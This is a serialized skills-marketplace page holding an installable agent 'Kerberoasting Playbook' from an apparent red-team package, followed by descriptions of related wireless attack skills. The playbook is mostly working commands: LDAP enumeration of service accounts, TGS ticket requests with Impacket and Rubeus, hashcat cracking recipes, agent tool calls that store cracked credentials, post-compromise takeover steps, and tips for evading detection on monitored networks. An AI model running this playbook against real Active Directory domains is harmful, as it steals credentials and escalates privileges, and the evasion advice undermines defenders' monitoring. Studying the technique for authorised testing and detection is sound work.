[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M78H3B98EM15HB4H3K4PVMZT":3,"skill-same:01M78H3B98EM15HB4H3K4PVMZT":48},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":17,"publishedAt":18,"linkOnly":19,"markdownContent":20,"markdownBody":21,"frontMatter":22,"refName":28,"commitSha":29,"skillDirectory":30,"forksCount":13,"repositoryHtmlUrl":31,"repositoryHomepageUrl":6,"ownerHtmlUrl":32,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":33,"install":34,"resources":47},"01M78H3B98EM15HB4H3K4PVMZT","kerberoasting",null,"Request Kerberos TGS tickets for SPN-bound service accounts and crack offline with hashcat — classic AD priv-esc primitive.","dnzengou\u002Fevo-decepticon","dnzengou","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F7807581?v=4","01M75KKJA3F5ZP7CA10MB2AEXC","01M78GP0FED2V1CDPB1N6G0CTH",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fad\u002Fkerberoasting\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: kerberoasting\ndescription: Request Kerberos TGS tickets for SPN-bound service accounts and crack offline with hashcat — classic AD priv-esc primitive.\nmetadata:\n  subdomain: active-directory\n  when_to_use: \"kerberoasting spn service ticket hashcat\"\n  mitre_attack:\n    - T1558.003\n---\n\n# Kerberoasting Playbook\n\n## Prerequisite\nAny valid domain user. No special privileges required.\n\n## 1. Identify roastable accounts\nFrom BloodHound ingest:\n```\nkg_query(kind=\"user\", filter=\"hasspn=true and enabled=true\")\n```\nOr LDAP-direct:\n```bash\nldapsearch -x -H ldap:\u002F\u002FDC_IP -D 'USER@DOM' -w 'PASS' \\\n  -b 'DC=corp,DC=local' \\\n  '(&(samAccountType=805306368)(servicePrincipalName=*)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' \\\n  sAMAccountName servicePrincipalName > \u002Ftmp\u002Fspns.txt\n```\n\n## 2. Request TGS tickets\n**Impacket** (most reliable):\n```bash\nGetUserSPNs.py DOM\u002FUSER:'PASS' -dc-ip DC_IP -request \\\n  -outputfile \u002Ftmp\u002Fkerb.hashes\n```\n\n**Rubeus** (from Windows beachhead):\n```powershell\nRubeus.exe kerberoast \u002Foutfile:C:\\Windows\\Temp\\k.txt \u002Fnowrap\n```\n\nModern hashes are `$krb5tgs$23$*user$DOM$spn*$\u003Cciphertext>` (RC4). If\nforest is Win2012+, AES tickets may come back as `$krb5tgs$18$*…`.\n\n## 3. Crack offline\n```bash\n# RC4 (mode 13100)\nhashcat -m 13100 -a 0 \u002Ftmp\u002Fkerb.hashes \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt \\\n        --rules-file \u002Fusr\u002Fshare\u002Fhashcat\u002Frules\u002Fbest64.rule\n\n# AES256 (mode 19700)\nhashcat -m 19700 -a 0 \u002Ftmp\u002Fkerb.hashes wordlist.txt\n\n# Targeted rules for service-account passwords (often pattern-based)\nhashcat -m 13100 -a 6 \u002Ftmp\u002Fkerb.hashes wordlist.txt '?d?d?d?d' \\\n        --rules-file \u002Fusr\u002Fshare\u002Fhashcat\u002Frules\u002Fd3ad0ne.rule\n```\n\n**Service-account heuristics**: 60-70% of kerberoasted accounts use:\n- ServiceName + season + year (e.g. `SQLSvc2024!`, `IISWinter25`)\n- App name + 4-digit numbers\n- Default install passwords (Veeam, SCCM, Splunk admins)\n- Custom dict from OSINT (company name, products, projects)\n\n## 4. Promote cracked credential\n```\nkg_add_node(kind=\"credential\", label=\"USER:CRACKED_PASSWORD\",\n            props={\"source\":\"kerberoast\",\"crack_time\":\"\u003Cn>m\",\"mode\":\"hashcat-m13100\"})\nkg_add_edge(src=\u003Ccred>, dst=\u003Cuser>, kind=\"authenticates\")\n```\n\n## 5. Post-crack actions\nWhatever the service account can reach is now yours:\n- Run BloodHound as the new cred → re-ingest\n- Often these accounts have AdminTo on the box hosting the service\n- Sometimes they're members of Tier-0 groups (yes, really)\n\n## OPSEC notes\n- Requesting TGS tickets is logged to **4769** events on the DC\n- Detection: 4769 with `Ticket Encryption Type=0x17` (RC4) when the\n  service supports AES is anomalous\n- Rate limiting: don't request all SPNs at once on a monitored network;\n  Impacket has no built-in throttle, write a wrapper\n- Use `-no-preauth` to avoid lockout if doing manual TGS via kinit\n\n## CVSS\n- Roastable + crackable in scope timeframe: `CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:H\u002FI:H\u002FA:H` = 9.0\n- Roastable but uncrackable (long random pw): Informational\n- AES-only + no offline crack feasible: Low\n\n## Common services found\n| SPN prefix | Likely account | Typical impact |\n|---|---|---|\n| `MSSQLSvc\u002F` | SQL service account | Often local admin on DB host |\n| `HTTP\u002Fsccm*` | SCCM service | Often Domain Admin (misconfig) |\n| `MSOLAPSvc.3\u002F` | SSAS | Local admin on analysis server |\n| `kadmin\u002Fchangepw` | KDC account | RARE — high value if hit |\n| `exchangeMDB\u002F` | Exchange recovery | Sometimes priv group |\n","# Kerberoasting Playbook\n\n## Prerequisite\nAny valid domain user. No special privileges required.\n\n## 1. Identify roastable accounts\nFrom BloodHound ingest:\n```\nkg_query(kind=\"user\", filter=\"hasspn=true and enabled=true\")\n```\nOr LDAP-direct:\n```bash\nldapsearch -x -H ldap:\u002F\u002FDC_IP -D 'USER@DOM' -w 'PASS' \\\n  -b 'DC=corp,DC=local' \\\n  '(&(samAccountType=805306368)(servicePrincipalName=*)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' \\\n  sAMAccountName servicePrincipalName > \u002Ftmp\u002Fspns.txt\n```\n\n## 2. Request TGS tickets\n**Impacket** (most reliable):\n```bash\nGetUserSPNs.py DOM\u002FUSER:'PASS' -dc-ip DC_IP -request \\\n  -outputfile \u002Ftmp\u002Fkerb.hashes\n```\n\n**Rubeus** (from Windows beachhead):\n```powershell\nRubeus.exe kerberoast \u002Foutfile:C:\\Windows\\Temp\\k.txt \u002Fnowrap\n```\n\nModern hashes are `$krb5tgs$23$*user$DOM$spn*$\u003Cciphertext>` (RC4). If\nforest is Win2012+, AES tickets may come back as `$krb5tgs$18$*…`.\n\n## 3. Crack offline\n```bash\n# RC4 (mode 13100)\nhashcat -m 13100 -a 0 \u002Ftmp\u002Fkerb.hashes \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt \\\n        --rules-file \u002Fusr\u002Fshare\u002Fhashcat\u002Frules\u002Fbest64.rule\n\n# AES256 (mode 19700)\nhashcat -m 19700 -a 0 \u002Ftmp\u002Fkerb.hashes wordlist.txt\n\n# Targeted rules for service-account passwords (often pattern-based)\nhashcat -m 13100 -a 6 \u002Ftmp\u002Fkerb.hashes wordlist.txt '?d?d?d?d' \\\n        --rules-file \u002Fusr\u002Fshare\u002Fhashcat\u002Frules\u002Fd3ad0ne.rule\n```\n\n**Service-account heuristics**: 60-70% of kerberoasted accounts use:\n- ServiceName + season + year (e.g. `SQLSvc2024!`, `IISWinter25`)\n- App name + 4-digit numbers\n- Default install passwords (Veeam, SCCM, Splunk admins)\n- Custom dict from OSINT (company name, products, projects)\n\n## 4. Promote cracked credential\n```\nkg_add_node(kind=\"credential\", label=\"USER:CRACKED_PASSWORD\",\n            props={\"source\":\"kerberoast\",\"crack_time\":\"\u003Cn>m\",\"mode\":\"hashcat-m13100\"})\nkg_add_edge(src=\u003Ccred>, dst=\u003Cuser>, kind=\"authenticates\")\n```\n\n## 5. Post-crack actions\nWhatever the service account can reach is now yours:\n- Run BloodHound as the new cred → re-ingest\n- Often these accounts have AdminTo on the box hosting the service\n- Sometimes they're members of Tier-0 groups (yes, really)\n\n## OPSEC notes\n- Requesting TGS tickets is logged to **4769** events on the DC\n- Detection: 4769 with `Ticket Encryption Type=0x17` (RC4) when the\n  service supports AES is anomalous\n- Rate limiting: don't request all SPNs at once on a monitored network;\n  Impacket has no built-in throttle, write a wrapper\n- Use `-no-preauth` to avoid lockout if doing manual TGS via kinit\n\n## CVSS\n- Roastable + crackable in scope timeframe: `CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:H\u002FI:H\u002FA:H` = 9.0\n- Roastable but uncrackable (long random pw): Informational\n- AES-only + no offline crack feasible: Low\n\n## Common services found\n| SPN prefix | Likely account | Typical impact |\n|---|---|---|\n| `MSSQLSvc\u002F` | SQL service account | Often local admin on DB host |\n| `HTTP\u002Fsccm*` | SCCM service | Often Domain Admin (misconfig) |\n| `MSOLAPSvc.3\u002F` | SSAS | Local admin on analysis server |\n| `kadmin\u002Fchangepw` | KDC account | RARE — high value if hit |\n| `exchangeMDB\u002F` | Exchange recovery | Sometimes priv group |\n",{"name":5,"metadata":23,"description":7},{"subdomain":24,"when_to_use":25,"mitre_attack":26},"active-directory","kerberoasting spn service ticket hashcat",[27],"T1558.003","main","376de63e2b186eeb9856476ae89186e62b1d3fbe","packages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fad\u002Fkerberoasting","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon","https:\u002F\u002Fgithub.com\u002Fdnzengou","2026-11-09 16:34:40",{"source":8,"skillName":5,"commands":35,"prompt":45,"zipAvailable":46},[36,39,42],{"tool":37,"command":38},"npx","npx skills add dnzengou\u002Fevo-decepticon --skill kerberoasting",{"tool":40,"command":41},"bunx","bunx skills add dnzengou\u002Fevo-decepticon --skill kerberoasting",{"tool":43,"command":44},"pnpm","pnpm dlx skills add dnzengou\u002Fevo-decepticon --skill kerberoasting","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fad\u002Fkerberoasting\u002FSKILL.md",true,[],[49,56,63,70,77,84],{"skillNo":50,"name":51,"nameZh":6,"description":52,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":53,"categories":54,"keywords":55,"publishedAt":18},"01M78JAX15GZR5Q5S7RMPWFX43","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":57,"name":58,"nameZh":6,"description":59,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":60,"categories":61,"keywords":62,"publishedAt":18},"01M78JARXE0ZER8P81SFD024YP","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":64,"name":65,"nameZh":6,"description":66,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":67,"categories":68,"keywords":69,"publishedAt":18},"01M78JANJNH8VMR0CK1Y6AM74G","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":71,"name":72,"nameZh":6,"description":73,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":74,"categories":75,"keywords":76,"publishedAt":18},"01M78JAFCYR2BAJF7KH0ZCXREA","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":78,"name":79,"nameZh":6,"description":80,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":81,"categories":82,"keywords":83,"publishedAt":18},"01M78JAAQ5T08FR9MY5SFNRWBM","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":85,"name":86,"nameZh":6,"description":87,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":88,"categories":89,"keywords":90,"publishedAt":18},"01M78JA6799JQZE0M9B21HRMGY","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]